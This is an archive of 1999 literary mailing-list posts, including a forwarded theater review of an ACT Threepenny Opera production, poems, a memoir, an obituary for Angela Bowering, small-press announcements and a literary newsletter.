"The saddening thought for us is this: that English literature has lost to France two delicate and fascinating poets [Stuart Merrill and Francis Viele-Griffin], who might have stood by the side of W. B. Yeats and Arthur Symons as wizards of the word. And the United States have lost their two greatest contemporary poets." --Jethro Bithell, _Contemporary French Poetry_

↑ Index

136. Marjorie Perloff
Re: Three Penny Opera in San Francisco
Fri 10 Sep 1999

I don't usually promote my daughters' activities but thought those of you who are Brecht/Weill fans and who are in the Bay Area (or may be coming soon)

would be interested in Carey's production of THREE PENNY OPERA which opened at ACT last night. Herewith the review from SF Examiner:

Modern classic in glorious guise

ACT offers brilliant version of 'Threepenny Opera'

By Robert Hurwitt
EXAMINER THEATER CRITIC

Performance credits

Bebe Neuwirth stands in a stark spotlight in front of the tawdry, frayed red curtain, her thin face framed in a thick black mane that cascades over her tail coat and slit red mini. She plants her stiletto-heeled feet and sheer-stockinged long legs well apart and simply, matter-of-factly launches into "Moritat," the justly famed "Ballad of Mack the Knife."

Her stunning voice — overmiked as it is — rings out clear, raw, insistent and penetrating with a feral vibrato that broadcasts the emotional resonance her formal stance and delivery belie. She sings Bertolt Brecht's sardonic catalogue of Macheath's career of rape, murder, robbery and mayhem — "You won't see Mackie's knife blade/ Till you feel it in your back" — investing every note of Kurt Weill's melody with perfect phrasing and rising, irresistible intensity.

By the time she's finished, you not only know Carey Perloff's ACT season opener is going to be a smash success, you understand all over again why "The Threepenny Opera" is the definitive musical drama of the 20th century. And that's just the opening, before musical director Peter Maleitzke's hot onstage jazz sextet has swung into the overture. Two hours and 40 minutes later, as Neuwirth sings the bitterly downbeat coda, those feelings remain intact.

Not that "Threepenny" is foolproof. Brecht and Weill wrote their 1928 masterpiece — the overnight sensation that established their careers — specifically for singing actors rather than trained musical

voices. But many a revival has foundered on inept musicianship, onstage or in the pit (the original
featured the Lewis Ruth Band, one of Germany's top jazz groups) — if not on sloppy staging, bad
acting or misconceived direction.

Perloff's "Threepenny," which opened Wednesday at the Geary Theater, falls into none of these
traps. Michael Feingold's translation, revised from his 1989 Broadway version, is sharp, lucid and
almost as biting as Brecht's German. The musicianship is brilliant on every hand. Perloff's staging
is crisp, clear and brightly original without calling undue attention to its own cleverness.

And the cast she's assembled is quite simply the finest I've seen since the "Threepenny" that turned
me into a lifelong theater devotee, the 1950s Off Broadway Theater de Lys production with which
Lotte Lenya — Weill's widow and Brecht's original Jenny — helped revive Weill's reputation and
re-establish the play as a contemporary classic.

It's a cast made up of equal parts Broadway veterans — Neuwirth, Philip Casnoff, Lisa Vroman,
Nancy Dussault — ACT regulars (Steven Anthony Jones, Anika Noni Rose, Charles Lanyer, Dan
Hiatt), other local actors and students from ACT's MFA and Young Conservatory programs. Perloff
weaves their talents into a seamless ensemble full of outstanding performances.

Not to mention a stunning blend of diverse, complementary performance styles: Neuwirth's
confrontational Weimar cabaret stance; Dussault's deft vaudeville turns; Casnoff's disarming
soft-shoe hoofer grace; Vroman's operatic flourishes and silent-movie melodrama gestural
eloquence; Rose's romantic ingénue underlaid with lusty burlesque. It's a range reflective of the
eclectic sources for both the score and the script.

Brecht and Weill threw the play together in a few short months. The script, of course, is based on
John Gay's brilliant 18th century "The Beggar's

Opera," heavily adapted by Brecht from a
translation by his longtime collaborator Elisabeth Hauptmann.

Brecht borrowed heavily from a number of other sources — several song lyrics from Villon (listing
him in the program and paying royalties to his translator, Karl Klammer, who wrote under the name
Ammer), not to mention language from Kipling and the Bible and and ideas from Piscator,
Wedekind, Noh drama, Shaw, Büchner, Pirandello and others.

Weill matched Brecht's eclecticism with a score that blended American jazz and Lutheran hymns,
German cabaret and English music hall, high and light opera and other influences, including one
entire song lifted from Gay — whose own score had been entirely composed of popular English
tunes. It's a script and score that could make a post-modernist scholar dizzy analyzing layers of
borrowing. But it takes no expertise whatsoever to revel in the play's still-astonishing freshness, bite
and beauty.

Perloff, wisely, lets the play speak for itself, making only minor adjustments — far less radical than
Brecht was wont to do with his own productions. True, she sticks "Moritat" out front, before the
overture, and gives it to Jenny instead of the usual streetsinger. But Neuwirth, a memorable Velma
in Broadway's recent "Chicago" (as well as on "Cheers"), provides a blisteringly vivid rendition that
fully justifies the change.

Feingold, theater critic for the Village Voice, has cut the text and songs some. But he's restored the
songs to their original order and characters (though Perloff has Neuwirth's Jenny double gloriously
with Rose's Polly Peachum on a resonant, searing "Pirate Jenny"). Some of his translations
undercut Brecht's humor, particularly in the rousing "Soldier's Song" ("Cannon Song"), but most
capture the crisp clarity of Brecht's wit.

Perloff and choreographer Luis Perez infuse the show with a brisk, engaging energy that only flags a bit in the middle of the second act. Annie Smart's set — a two-story, distressed brick shell of an opera house, as if after an earthquake — and turn-of-the-century costumes establish the vaguely San Francisco-ish milieu of Perloff's version.

The performers turn in one show-stopping rendition after another, giving the songs the intensified focus and self-conscious theatricality Brecht demanded. Dussault is outstanding as the tipsy, resourceful Mrs. Peachum, pairing brilliantly with Jones' gruff, booming, sanctimonious baritone on the Peachums' beggar shop duets. With a resonant whiskey-tinged voice and deft sight gags, she turns the "Ballad of the Prisoner of Sex" into a hilarious solo turn of sardonic wit and delightful ribaldry.

Vroman is outstanding as Lucy Brown — Polly's rival and daughter of Lanyer's nicely tortured Sheriff Tiger Brown — both in a stunning vocal face-off "Jealousy Duet" with Rose's Polly and in her superb, diabolically melodramatic (and rarely performed) "Lucy's Aria." Rose is sweetly touching and brightly lusty in her love duets with Casnoff and in her delightful "Barbara Song" about lost innocence.

Above all, Neuwirth's Jenny and Casnoff's Macheath set the tone — she with her sharp, combative watchfulness; he with the murderous impulse not quite concealed beneath his song-and-dance grace. Neuwirth is as outstanding in her cynical "Solomon Song" as in the "Moritat" and "Pirate Jenny." Casnoff, too, sings beautifully, rendering Macheath's great paeans to corruption and soulful gallows hymns with dynamic intensity. And their tango duet ("Pimp's Ballad") is stunning in its erotic electricity and vicious execution.

It's altogether a brilliant production, Brecht and Weill's "opera for beggars" delivered with a

wondrously ragtag "splendor only a beggar could imagine" (though not, as the prologue goes on to
state, "at a price even a beggar can afford"). As Neuwirth sings its acute final verses — about a
society divided between those who walk in light and "those in darkness lost to sight" — it's hard to
leave the Geary without a deeper awareness of the social injustices so evident in the surrounding
streets.

The Threepenny Opera

PLAYWRIGHT Bertolt Brecht
COMPOSER Kurt Weill
DIRECTOR Carey Perloff
CAST Philip Casnoff, Bebe Neuwirth, Anika Noni Rose, Lisa Vroman, Nancy Dussault, Steven
Anthony Jones
THEATER ACT, Geary Theater, through Oct. 3
([redacted])

The new translation, I should add, is very different from the Mark Blitztein we were all used to.

Happy Ending!
Marjorie Perloff

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137. David Baratier
Pound typo
Fri 10 Sep 1999

---

the infamous typo which Pound kept is
Rock Drill

Be well

David Baratier

↑ Index

138. Philip Nikolayev
THE SEEDED FRIEND OF HUMANKIND IS CASHED
Fri 10 Sep 1999

THE SEEDED FRIEND OF HUMANKIND IS CASHED

The seeded friend of humankind is cashed,
but I have found a place where more is stashed,
a lab where every leaf is dried to that
word-perfect flam and readiness to act
on every syllable. The moot trapeze
of sense remotely utters thank you, please
and marches down directly to the page
to perpetrate its sensuous brigandage.
Semantic hemlocks melt to tilted tiles
and titles brim with paratactic styles
like paratroopers of the golden ring,
who come to spell a wish on everything
with serious roach music in the bong,
God-naughty and immensely drawn to song.

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139. **Philip Nikolayev**

A SONNET OF KNOWLEDGE

Fri 10 Sep 1999

A SONNET OF KNOWLEDGE

http://www.utm.edu/research/iep/
http://pages.prodigy.net/mawired/
http://www.sca.org/heraldry/paul/a.html
http://writing.upenn.edu/epc/poetics/
http://www.csse.monash.edu.au/community/postmodern.html
http://www.internetindia.com/theeye/index.htm
http://www.ntu.edu.sg/home/mdamodaran/sabooks.html
http://www.sulekha.com/cgi-bin/columninfo.cgi?handle=jigar
http://www.hubcom.com/tantric/
http://detritus.net/manifesto.html
http://dcn.davis.ca.us/~btcarrol/skeptic/bibcode.html
http://www.geocities.com/Colosseum/Loge/1272/index.html
http://www.theonion.com/onion3531/sad_lonely_people.html
http://www.ai.mit.edu/publications/pubsDB/pubsDB/

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140. **Philip Nikolayev**

SCHOOL

Fri 10 Sep 1999

SCHOOL

Rolling awkwardly with the backward ebb of time, come back to school and the tedium of a Russian literature class, with emphasis on the proletarian novel, and then the delight of higher math. We were doing hyperbolic functions and my head was chock-full of analysis and love and ripe puberty, whose distinction from poetry remained fuzzy but was ultimately beginning (barely) to dawn. The big wise Lenin, the most altruistic of men, in the hallway, kindness and intelligence in his eye – we would hang him upside down when no one looked, and Sashka Denisov laughed his pants off – the joke felt even more forbidden than early teen imaginings of sex. During a recess we went to pound the soda machines across the street at the Agricultural Institute for free soda, and a funny middle-aged janitor lady popped out the basement, mop in hand, and cried, "No soda. Get the fuck out, boy! You bang that fountain once more and I call the cops." We teased her and she yelled go away and threatened to show us her sex if we didn't. We dared her to, and she said she wouldn't since we were fags. And in 1978 I fought Lyonia Cherniak on the dark third floor of our school No 37, near the biology classroom. We were discovered by the principal. In my rage I told her to get the bloody lost, and then had to call my parental units and ask them to present themselves at school. So I called Dad at work and told him the story and that he had to come see the principal. He did not believe me, did not believe it was me on the phone. He said, "You're some fool trying to play a stupid trick on me and Philip." I had to switch to English to convince him. I said: "It's me, Dad, I swear on my life! Besides, if it wasn't me, where'd I get this number at the Foreign Languages Department?" He said, "OK, I'll be there." So here he comes in fifteen minutes and I lead him to the principal, and she goes on an on about what a problem boy I am. Dad listens and nods and listens very attentively and then brings out, "Don't worry, ma'am. I'll whip him a-good when we get home," straight face and all, my super Dad. Even I was so bewildered I nearly shat my pants. And she, the principal, and here I must admit she was a pretty nice lady, and pedagogical, so she says, "Oh, I'm not sure such harsh disciplinary measures are at all necessary." And Dad: "Don't you please worry, ma'am. I know what I'm doing. Sometimes these good-for-nothings ortabee taught a lesson/two the old way. Otherwise they just won't understand watch're you tryin' to say. I mean, these new ones, they are different, right? Not like you and I and folks of our generation, born before or during the Great Patriotic War, were when we were their age. Mild pedagogics just won't cut the rope." And as we leave she stands there forever, a pillar of salt, fundamentally pale, poor Valentina Nikolaevna, and Dad abducts me from the remaining classes, and we go and buy a load of "Eskimo" ice-cream and then hit some East-Indian movie (like a Spaghetti Western, only better) about guns, friendship and revenge. Finally we go home, chattering like two English magpies to the shock and amazement of the bus driver, who possibly suspects we are spies. Mom, she will never figure out any of this.

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141. **Michael Magee**

Re: Kenning - shameless plug

Sat 11 Sep 1999

Howdy folks, thought I'd shamelessly plug the essay of mine which appears in the "poetics" section of the new KENNING. It's called "Democratic Symbolic Action: Sketches Toward a Guide to Practice," and is a laying-out of some techniques employed in the writings of Emerson, Ellison and O'Hara. The theoretical framework (what there is of one!) draws on various strands of American pragmatism: William James, John Dewey, Kenneth Burke, Clifford Geertz, Cornel West. Anyway, there it is. You can see from Patrick's list of contributors that KENNING's worth picking up regardless of my small contribution. -m.

ording to Patrick F. Durgin:
>
> As summer draws to a close and the air gradually cools, I think it's high
> time I send off the summer '99 issue of Kenning. If you are bound to
> receive a copy in the coming week, you are either a contributor or a
> subscriber (or some other sort of co-conspirator). You know if you fit
> these criteria and you know if you don't. For the latter, let me invite
> you to snap up a copy before they're gone (see ordering information at the
> end of this message). And if you'd rather not receive publication
> announcements from Kenning in the future, reply to the e-mail address at
> the end of this message and say so: you will be taken off the mailing list.
>
> Kenning Vol. 2, No. 2 Issue #5 Summer 1999
> C O N T E N T S
> Poetry:
> Lyn Hejinian
> Peter Neufeld
> Rachel Blau DuPlessis
> John M. Bennett
> Peter O'Leary
> E. Tracy Grinnell
> Brian Kim Stefans
> Brent Cunningham
> Jon Cone
> Michael Basinski
> Gene Tanta
> Michael Gottlieb
> Kristin Prevallet

> Clark Coolidge
> Poetics:
> Michael Magee
> Reviews:
> Sarah Mangold's *Blood Substitutes* by Daniel J. Beachy-Quick
> *Snake Hiss* compact disc by Patrick F. Durgin
> Editor's Note:
> "Agent and Agency"
> 89 pp. / $5.00
>
> Purchase a sample copy by sending a check or M.O. for $5.00 payable to the
> editor, Patrick F. Durgin, to 418 Brown St. #10, Iowa City, Iowa, 52245.
> Subscribe to receive 2 issues ($9.50) or 4 issues ($19.00) by sending the
> appropriate amount to the same. Subscribers receive their issues in
> loose-leaf as well as a hand-printed portfolio suitable to hold several
> (about 5) numbers of the newsletter. For more information on most every
> aspect of the newsletter, see the Kenning website
>
> http://www.avalon.net/~kenning
>
> The autumn/winter '00 issue of Kenning is entitled "Cunning: a descriptive
> checklist of tentative politics" and is collaboratively guest-edited by
> myself, Renee Gladman, Jen Hofer, and Rod Smith. See the website for more
> information.
>
> Thanks and best wishes for the coming season: Patrick F. Durgin
>
>
> k e n n i n g
> a newsletter of contemporary poetry
> http://www.avalon.net/~kenning
> 418 Brown St. #10, Iowa City, IA 52245, USA
>

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142. Susan M. Schultz
call for work for Tinfish
Sat 11 Sep 1999

Tinfish's covers are usually made separately from the issue's innards. But this time the designer Gaye Chan tells me that the next issue's cover will be made of historical cereal boxes (she found hundreds in a dumpster somewhere).

SO: those of you from the Pacific region (especially), please send poems about boxes, in boxes, of boxes, boxly poems. Address: 47-391 Hui Iwa Street #3, Kaneohe, HI 96744 USA.

AND: please buy the new issue ($5 per; $13 for three). I pay for everything myself (except for postage) and so your support is crucial to keep the enterprise going. Same address. Will give you a sense of what I look for, too.

thanks much,

Susan Schultz

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143. Billy Little
Re: Angela Bowering
Sun 12 Sep 1999

> *X-From_: [redacted] Sat Sep 11 17:35:54 1999*
> *X-Sender: [redacted]*
> *Date: Sat, 11 Sep 1999 17:29:54*
> *To: [redacted]*
> *From: Jamie Reid <[redacted]>*
> *Subject: Re:Angela Bowering*
> *Mime-Version: 1.0*
>
> *Dear friends*
>
> *I spoke with George Bowering at his home earlier this afternoon, and he agreed that the sad news of the death of his dear wife and our dear friend, Angela, should be made available to as many of her friends as possible.*
>
> *Below is the obituary which appeared in the Vancouver Sun, supplied to me through e-mail by William Thornton-Trump, one of George's oldest friends.*
>
> *George and Thea were together at their family home and both of them were well, though obviously suffering from their loss. George said that they were surrounded by Angela's loyal friends, who have been taking care of everything.*
>
> *Carol Matthews told me that a memorial ceremony is planned on October 3rd in Vancouver. Further information will be posted as it becomes available.*
>
> *I also spoke to George about preparing a memorial publication in Angela's honour, containing some of Angela's own writings alongside memoirs/poems etc. from her friends. Anyone who wishes to make contributions, please send them to me via e-mail or to the postal address below.*
>
> *From The Vancouver Sun. September 11, 1999.*

> *BOWERING - Angela (nee Luoma)*
> *May 5, 1940 - September 8, 1999.*
> *Our lovely wife, mother, teacher, gardener extraordinaire. She came out of the silence of a Quadra Island forest and brought us enough words for many lifetimes. Her students at Kwantlen College and Simon Fraser University learned passionate love of difficult books. Her readers admired her deep heart and gorgeous wit. Her fiercely loyal friends will ensure her presence in this world. She loved high art and she cared intensely for the earth. She created a garden that attracted journalists and passersby, and she began her book about the great Sheila Watson with Watson's spoken care:*
> *"What I was concerned with was figures in a ground, from which they could not be separated."*
> *Angela is survived by her daughter Thea, her husband George, sisters Joan Wright and Camille Luoma and many, many loving friends.*
> *A memorial celebration will be held in the near future.*
> *Anyone wishing to offer a gesture of love and respect should make a donation to the Multiple Sclerosis Society of Canada. To contact the family for further information, contact Walkey & Company Funeral Directors at (604)* [redacted].
>
> *Jamie Reid*
> *382 East 4th Street*
> *North Vancouver, BC*
> *V7L 1J2*
> *tel:* [redacted]

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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144. Loss Pequeño Glazier

Fwd: Text Manipulation Tools archive

Sun 12 Sep 1999

A recommendation for this text processing web site. (Also available via the EPC.)

> *Some folks here might be interested in our new archive of text-processor (as in Cuisinart, not WordStar) tools now*

> *online:*
>
> *http://www.burningpress.org/toolbox/index.html*
>
> *Various forms of text manglement and dissembly, including*
> *a couple of programs based on Jackson Mac Low's techniques...*
>
> *would be happy to hear of additions, corrections, or comment...*
> *or to see the results of any experiments y'all might perform*
> *using these or other tools...*

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145. Alan Sondheim

Julu and I

Sun 12 Sep 1999

=

Julu And I

MMyy aarrmm ffoollllloowweedd mmyy aarrmm aass II lliiffftteedd tthhee kkeetttttllee ffrroomm tthhee ssttoovvee,, ffoollllloowwiinngg tthhee kkeetttttllee oonn tthhee ssttoovvee;; mmyy hheeaadd mmoovveedd bbaacckk ffrroomm mmyy hheeaadd mmoovveedd bbaacckk ffrroomm mmyy hheeaadd aass II ppllaacceedd tthhee kkeetttttllee ffoollllloowwiinngg tthhee kkeetttttllee wwiitthh mmyy hhaannddss oonn tthhee hhaannddss oonn tthhee ccuurrvveedd hhaannddllee aattttaacchheedd ttoo tthhee ccuurrvveedd hhaannddllee oonn tthhee bbaacckk ooff tthhee bbaacckk;; ffllaammeess sshhoott uupp tthhrroouugghh ffllaammeess sshhoott uupp aatt tthhee kkeetttttllee ooff tthhee kkeetttttllee,, hheeaattiinngg iitt aanndd hheeaattiinngg iitt;; II wwiitthhddrreeww mmaayy hhaanndd aanndd mmyy hhaanndd aanndd mmyy hhaanndd aanndd mmyy hhaanndd ffrroomm tthhee hhaannddllee aanndd tthhee hhaannddllee,, ttuurrnniinngg aawwaayy,, mmyy aarrmm ffoollllloowwiinngg mmyy aarrmm ttuurrnniinngg aawwaayy ffrroomm tthhee ffllaammee tthhrroouugghh tthhee ffllaammee;; aaffftteerrwwaarrddss aaffftteerr-- wwaarrddss II wwoouulldd ppoouurr wwaatteerr ppoouurriinngg ffrroomm tthhee kkeetttttllee aanndd tthhee kkeetttttllee wwiitthh mmyy aarrmm ffoollllloowwiinngg mmyy aarrmm,, tthhee wwaatteerr ppoouurriinngg iinn wwaatteerr ppoouurriinngg iinn wwaatteerr ddoowwnn iinnttoo tthhee ccuupp nneexxtt ttoo tthhee ccuupp iinn tthhee ccuupp;; tthhee ccoofffffeeee aanndd ccoofffffeeee sstteeaammiinngg,, ffoollllloowwiinngg tthhee sstteeaammiinngg ffoollllloowwiinngg tthhee sstteeaammiinngg,, wwhhiillee dduurriinngg wwhhiicchh AAhhhh AAhhhh II eecchhooeedd,, rreeppeeaattiinngg mmyy mmoouutthh ffoollllloowwiinngg aanndd rreeppeeaattiinngg mmyy mmoouutthh,, aa ddeelliicciioouuss bbrreeww..

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146. Jerrold Shiroma
New Small Press Publications
Sun 12 Sep 1999

This weeks Small Press Publications List is up & running at Duration Press. More than 20 titles are featured.

http://www.durationpress.com

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147. Loss Pequeño Glazier
Fwd: Text Manipulation Tools archive
Sun 12 Sep 1999

A recommendation from the EPC on this text processing web page. (Also available via: the EPC's "Connects" area (http://epc.buffalo.edu/connects/) and the EPC "New" list (http://epc.buffalo.edu/display/new.html).

> *Some folks here might be interested in our new archive of text-processor (as in Cuisinart, not WordStar) tools now online:*
>
> *http://www.burningpress.org/toolbox/index.html*
>
> *Various forms of text manglement and dissembly, including a couple of programs based on Jackson Mac Low's techniques...*
>
> *would be happy to hear of additions, corrections, or comment... or to see the results of any experiments y'all might perform using these or other tools...*

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148. Michael Neff
Electronic Literary Arts Newsletter (ELAN #2)
Sun 12 Sep 1999

****

ELECTRONIC LITERARY ARTS NEWSLETTER #2, September 99

Note: ELAN is a non-commercial newsletter sponsored by a collaboration of magazines, writers, editors, and publishers at Web Del Sol, <http://webdelsol.com/solhome.htm> and directed only to members of the literary arts community. **********

FEATURES AND HEADLINES THIS ISSUE:

- Letter From the Editor
- Federal Court Blocks MI Net Censorship Law; Lit. Types Exult
- Iranian Cleric Claims Rushdie Was Not to be Killed
- Cortland Review: The People Magazine of Poetry
- Arts Wire Features Trace Online Writing Community
- Small Fish Thriving/Big Fish Bloated:Small Presses, Big Presses
- All Feast No Famine: What's New at Web Del Sol
- PBQ to Feature Film; Plus, IndieWIRE on Blair Witchiness
- Yeats Summer School Opens in Sligo, Ireland
- Stephen Spender's Provencal Home Burned
- Writers Writing/Writers Talking: Susan Dodd from the North Carolina Coast
- Around Towns: Events, Announcements, Calls

Welcome to Issue Two of ELAN. We've been delighted by a slew of positive comment, a tremendous stream of new subscribers, and a little bit of news from our readers.

To repeat myself a bit (heat-stroked editrix that I am), please do send your responses and announcements. Is there a fantastic website we haven't mentioned once? A major literary prize awarded about which we've said nary a word? Is your book about to be published? Much as we aim for a breezy but informative perfection, oversight is probable, so keep me posted.

Liana Scalettar
Editor
[redacted]

CENSORSHIP LAW BLOCKED BY FEDS

According to Arts Wire <http://www.artswire.org>, a federal judge has blocked the enforcement of a Michigan law that would have criminalized the online display or dissemination of "'sexually explicit matter'" to minors. With his ruling, in which he called the Internet "'an international free flow of ideas and information,'" Judge Tarnow prevented enforcement of the law until later this year, when a full trial will be held. Since Web Del Sol is a plaintiff in this case, we're ecstatic about this first round.

CLERIC SAYS RUSHDIE WAS NOT TO BE KILLED

The Associated Press notes the August 25th publication of a statement by an Iranian cleric in which he claims that Rushdie was not condemned to death by the Ayatollah Ruhollah Khomeini. The Tehran newspaper, Khordad, quoted

Hojjat ol-Islam Seyyed Hoseyn Musavi-Tabrizi as saying that Khomeini's "exact intention was not the killing of" Rushdie, but rather publicity "to prevent a conspiracy against Islam." The AP speculates that Musavi-Tabrizi, along with other supporters of Iranian President Khatami's reforms, is trying to downplay the fatwa. <http://www.nytimes.com/library/books/082699ap-rushdie-cleric.html>

CORTLAND REVIEW: THE PEOPLE MAGAZINE OF POETRY

Sol's ex-pat Cyber Rambler <http://webdelsol.com/LITARTS/Cyber_Rambler> sheds precipitation on the Cortland Review parade--a once highly regarded webzine, now found wanting in some respects. Whether or not you speedbump on this one, you'll admit the criticisms are provocative and often painfully humorous simply because they ring so true. This one in particular will result in considerable inflammation: "The Cortland Review is all about getting the unleavened poem to rise,against all odds, without the poetic yeast. It does this through a painstaking celebration of poet as celebrity, and by the creation of a kind of I'm Okay You're Okay ambience. It is an approach oddly-or perhaps not so oddly-reminiscent of People magazine."

TRACE ONLINE WRITING COMMUNITY LOOMS LARGE AT ARTS WIRE

Also at Arts Wire for the week of August 2 is Sue Thomas's trAce <http://trace.ntu.ac.uk.> An online writing community, trAce members critique, read, write, and grouse. The site also features East Midlands Hypertext, a fesity Call for Opinions, and a virtual writer-in-residence. Current Resident Christy Sheffield weighs in with the just-launched My Millenium, an 'online anthology devoted to the subject of time and the digital revolution.'

SMALL FISH STILL KICKING/BIG FISH TURNS INTO A FAT CAT

In an August 2nd article, Publishers Weekly's John High discusses the anniveraries of three small (dare I say tiny but fabulous?) presses <http://www.publishersweekly.com>. Berkeley-based Kelsey Street Press, founded by Rena Rosenwasser and Patricia Dienstfrey, is celebrating its twenty-fifth anniversary. A publisher of award-winning poet Mei-mei Berssenbrugge, Kelsey Street this year sold its archives to UC Berkeley's Bancroft Library.Colorado-based Johnson Books turns twenty, and Cydney Chadwick's Avec Books turns seven.

On the anniversary front as well, Graywolf Press will celebrate its 25th on September 30th. To be hosted by Robert Pinsky, the event will honor Jane Kenyon and William Stafford. According to Poets and Writers <http://www.pw.org>, tickets for the fete are available at the door of Ted Mann Concert Hall at the University of Minnesota or through the university's ticket office at which can be reached at [redacted].

PW reports also on the founding of Toby Press, launching this fall. The new house, established in the UK by Matthew Miller, will publish hardcover, new fiction exclusively and will sell directly to customers through its catalogue, its web site, and direct mail. Because of its unusual approach, the press is pouring money into fall advertising in the New Yorker, Granta, and the New York Times Book Review. Titles slated for fall publication are: Failing Paris, by Samantha Dunn, Absence, by Raymond Tallis, The Masterpiece, by Anna Enquist, Cardiofitness, by Allessandra Montrucchio, After the Campfires by Per Jorner, and The Forwarding Agent, by Austen Kark.

Meanwhile, HarperCollins has completed its acquisition of Morrow and Avon from Hearst. (See ELAN #1 for more.) And, in efforts to save money and maintain more contron over marketing, Harper is forming an in-house advertising agency.

ALL FEAST NO FAMINE: NEW AT WEB DEL SOL
<http://www.webdelsol.com>

WDS urges to satisfy all moods, open all windows. So prod, observe, react. It lives! Editor's Picks Issue 3 <"http://webdelsol.com/Editor"> announces a new era for the publishing of original work at Web Del Sol. They've outdone themselves this time. Thanks to the talented and nonesuch editorial staff (Mike Neff, Joan Houilihan, Vince Montague, Rachel Callaghan, Paul Beckman, David Berg-Seiter, Shoshanna Wingate, and Tony Lombardy) the collection is not only enormous, but unique and diverse. Who are we talking about? Dana Levin, Leslie Scalapino, Lucie Brock-Broido, Charles Bernstein, Lisa Jarnot, Mark Jarman, Deborah Olin Unferth, Heather McHugh, Flaminia Ocampo, RoseMarie London, Victoria Redel, Ichi Batacan, Rhina Espaillat, Cecelia Hagen, Wendy Mnookin, Michael Bugeja, Holly Iglesias, and many more. Can these guys name drop or what?

Most exciting, this past month Web Del Sol was selected and given a stellar rating by a major Internet review. Access Magazine--a Sunday news supplement which goes to millions of readers--has named WDS one of their top 100 web sites. The top three literary 4 stars were WDS, Salon, and Slate. In comparison, Atlantic Unbound received 3 stars and MoJo Wire only 2. Not bad for an organization which receives no grants, sells no advertising, and is composed solely of volunteers.<http://www.accessmagazine.com/reviews/rev_e-zines.html>

Five Points has arrived in style, with poetry by Eamon Grennon, Charlie Smith, and A.E. Stallings, and fiction by Max Garland. This first venture into the WDS waters highlights Volume 3, Number 3 of the journal.
<http://www.webdelsol.com/Five_Points>

A grateful Venice thanks TLR for this issue <http://webdelsol.com/tlr> with contributions by Albert Russo, John Drury, Joan Nilon, and others. Sample from

La Tempestra, On Not Dying in Venice, The Foot of St. Catherine, and Venetian Thresholds. Call the travel agent, balance your credit cards, and let TLR be your bubble train and gondola

The summer '99 issue of the New England Review features Tom Paine, John Poch, and Sue Kwock Kim. NER's archives also provide much good reading. <http://www.webdelsol.com/New_England_Review>

The Audio Vault at Conjunctions <http://www.conjunctions.com> is now featuring Lydia Davis, Mary Caponegro, and Rikki Ducornet reading from their work. And the upcoming issue, Crossing Over, looks stunning in preview. Look for excerpts from new novels by Lois-Ann Yamanaka, Paul West, Carole Maso, and others; poetry by Peter Sacks, Reginald Shepherd, and Arthur Sze; and newly translated work by Thomas Bernhard.

As promised, Quarterly West is back--red, revamped, and (safe to say) better than ever. Because the journal's home institution, the University of Utah, has switched to a semester schedule, QW will now publish in October and April. The Spring-Summer '99 Issue features short-shorts by Karen Wolf, Nick Foster, and Josh Russell; poetry by Jeanne Marie Beaumont, Elizabeth Seydel Morgan, and Marcus Cafagna; and fiction by Gordon Lish, Sally Bellerose, and Franklin Fisher. Coming up in QW: winners of the mag's biennial novella contest. Swing by Quarterly West at <http://www.webdelsol.com/Quarterly_West>.

Last but so not least, Painted Bride Quarterly <http://www.webdelsol.com/pbq> needs essays on contemporary cinema, screen play excerpts, and fiction and poetry influenced by film for their second annual film issue, which will be published in conjunction with the Philadelphia Festival of World Cinema. You'll find poetry by Kenneth Bernard and Rocky Wilson; fiction by Ariana-Sophia M. Kartsonis, and a special film section in the current issue. NB: when I was a disaffected youth in Philly, I thought that the Painted Bride (large cavernous arts space, non-virtual) was the coolest place in the world, and, despite my sullen broodings, turns out I was not far off. Please go visit them when you can. Thank you.

PAINTED BRIDE QUARTERLY TO FEATURE FILM; INDIEWIRE HELPS SCARE YOU SILLY

Ah. Having read this far, you know about PBQ already. Should you visit the City of Brotherly Love, do also visit Cacia's in South Philly for rolls, rolls, and more rolls. You'll be happy. I hope they're still there--they must be.

Indiewire, a comprehensive source for independent film news at <http://www.indiewire.com>, discusses the phenomenal success of the mock doc 'Blair Witch Project." Also, learn about the appointment of Stephen Gallagher as the new publisher of Filmmaker magazine.

According to Arts Wire, the Women's Film Preservation Fund of New York Women in Film and television seeks proposals for the 'funding of preservation or restoration of American films in which women had significant creative positions. Grants of up to $10,000 are available to individuals and non-profits; the application deadline is September 15, 1999. Contact NYWIFT at [redacted].

YEATS SUMMER SCHOOL OPENS IN SLIGO

Poetry Daily links to the Irish Times's coverage of the opening of the Yeats Summer School, now in its thirty-ninth year. Nobel laureate and long-time attendee Seamus Heaney gave an opening lecture, and Declan Kiberd and Helen Vendler also were slated to speak. The school draws participants from all over the world to Sligo.

STEPHEN SPENDER'S PROVENCAL HOME DESTROYED

Visit Poetry Daily as well for its link to The Times's coverage of the destruction of Spender's home near Avignon. The Times article quotes Spender's widow as having lost the late poet's 2,000-book library. His beloved garden and mementoes of Auden and Isherwood were apparently lost as well.

WRITERS WRITING/WRITERS TALKING: SUSAN DODD FROM THE NORTH CAROLINA COAST

Novelist and short-story writer Susan Dodd talks with PublishersWeekly from her secluded home on a North Carolina island. Not only does she live alone in a simple house on the shore, she doesn't even have a phone! We love the idea but would surely die of loneliness. Dodd, evidently made of stronger stuff, has not. The author, most recently, of The Mourner's Bench, she discusses the importance of voice, luck, and risk to writers.

AROUND TOWNS: CALLS, EVENTS, ANNOUNCEMENTS

(a word of caution: I got, I cut, I pasted. Take your questions and problems, should they arise, to the responsible parties. Pas to moi.)

$1000 ANAMNESIS POETRY CHAPBOOK AWARD

Anamnesis Press is sponsoring its 5th annual poetry chapbook award competition. They're looking for poetry with intellectual and emotional depth that avoids cliches and has an ear for sound and music, although formal structure is not necessary. Previously published material is OK, as long as the author owns the rights to the work and provides acknowledgments. The winner will receive $1000, an award certificate suitable for framing, and 20 copies of the winning chapbook. We encourage poets to submit 20-30 pages of their best poems. Manuscripts must be typed or laser-printed -single-spaced -- with no more than one poem per page, and must include a table of contents (showing page numbers) and two title pages. Include yourname and address on only one of the title

pages. NO MANUSCRIPTS WILL BE RETURNED. Manuscripts must be postmarked by March 15, 2000. The winner will be announced in June. Reading fee: US$15 per manuscript. Please make check or money order payable to Anamnesis Press in US dollars drawn on a US bank. Note: all contestants will receive a copy of the winning chapbook.

Send manuscripts with entry fee and SASE (for prize notification) to:

Anamnesis Press
Poetry Chapbook Award Competition
P. O. Box 51115
Palo Alto, CA 94303

NO E-MAIL SUBMISSIONS, PLEASE!

For information about past winners, Anamnesis Press or its publications, please visit their web site at http://ourworld.compuserve.com/homepages/anamnesis/.

